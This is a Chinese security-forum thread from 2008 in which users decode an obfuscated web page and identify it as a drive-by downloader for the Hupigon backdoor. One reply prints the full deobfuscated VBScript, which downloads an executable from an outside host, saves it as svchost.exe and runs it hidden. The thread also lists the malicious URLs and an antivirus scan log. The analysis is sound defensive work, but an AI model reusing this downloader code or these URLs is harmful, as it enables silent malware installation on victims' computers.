怎样解这个网页？

显示全部楼层 · 发表于 2008-11-30 12:53:01

能不能详细一点呀。。。
<
do
%
2Eone
n
C
D%22
%2
0A%20%20%20%2
D%0
20
0
%20%
%
3D%2
0x%
t%2Eex
bje

29
0
2Fbod
//
<
这个怎么解密呀。。

显示全部楼层 · 发表于 2008-11-30 12:57:11

原帖由 dearhaoji 于 2008-11-30 12:53 发表
能不能详细一点呀。。。
<
do
%
2Eone
n
C
D%22
%2
0A%20%20%20%2
D%0
20
0
%20%
%
3D%2
0x%
t%2Eex
bje

29
0
2Fbod
//
<
这个怎么解密呀。。

纯猜。

http://88ttorg.one.2008isp.com.cn/2.htm
http://88ttorg.one.2008isp.com.cn/3.htm
http://88ttorg.one.2008isp.com.cn/4.htm

显示全部楼层 · 发表于 2008-11-30 12:58:06

原帖由 tanlimo 于 2008-11-30 12:45 发表
去空格，在freshow中一个decode就出来了

http://88ttorg.one.2008isp.com.cn/1.exe

确实如这位兄台所说，刚才我也没仔细看这些加密的东西，细细看了下发现 http%3A%2F%2F88ttorg%2Eone%2E2008is p%2Ecom%2Ecn%2F1%2Eexe 直接在freshow里一个ESC 就搞定！

学习了谢谢！

显示全部楼层 · 发表于 2008-11-30 13:14:14

BDS/Hupigon

显示全部楼层 · 发表于 2008-11-30 14:18:18

我发火了

直接浏览器解密！！

输入地址：http://88ttorg.one.2008isp.com.cn/1.htm

等待打开完成后

在地址栏输入：javascript: greysign=document.documentElement.outerHTML;document.write("<body></body>");document.body.innerText=greysign;

便可得到代码：

<SCRIPT language=VBScript>
on error resume next
dl = "http://88ttorg.one.2008isp.com.cn/1.exe"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
b4="Mi"
b5="cr"
b6="o"
b7="soft"
b8=".X"
b9="M"
b10="L"
b11="H"
b12="T"
b13="T"
b14="P"
strb=b4&b5&b6&b7&b8&b9&b10&b11&b12&b13&b14
Set x = df.CreateObject(strb,"")
a4="A"
a5="d"
a6="o"
a7="d"
a8="b"
a9="."
a10="S"
a11="t"
a12="r"
a13="e"
a14="a"
a15="m"
stra=a4&a5&a6&a7&a8&a9&a10&a11&a12&a13&a14&a15
set S = df.createobject(stra,"")
S.type = 1
c4="G"
c5="E"
c6="T"
strc=c4&c5&c6
x.Open strc, dl, False
x.Send
fname1="svchost.exe"
set F = df.createobject("Scripting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
</SCRIPT>

复制代码

注：本方法非常危险，建议有沙盘人士使用

[ 本帖最后由 aarwwefdds 于 2008-11-30 14:20 编辑 ]

显示全部楼层 · 发表于 2008-11-30 16:17:41

NULLCHAR搞鬼清掉所有00就行

显示全部楼层 · 发表于 2008-11-30 17:14:54

http://88ttorg.one.2008isp.com.cn/1.exe 可能是 Win32/Hupigon 特洛伊木马的变种连接中断 - 已隔离

显示全部楼层 · 发表于 2008-11-30 18:38:00

该地址已经是昨日的啦。

显示全部楼层 · 发表于 2008-12-1 08:30:17

进去没有太大反应！

显示全部楼层 · 发表于 2008-12-1 14:30:31

Starting the file scan:

Begin scan in 'C:\1.exe'
C:\1.exe
[0] Archive type: RAR SFX (self extracting)
--> 1.exe
   [DETECTION] Contains a recognition pattern of the (harmful) BDS/Hupigon.Gen back-door program
--> 2.exe
   [DETECTION] Contains recognition pattern of the DR/Delphi.Gen dropper
[NOTE]    The file was deleted!

[已鉴定] 怎样解这个网页？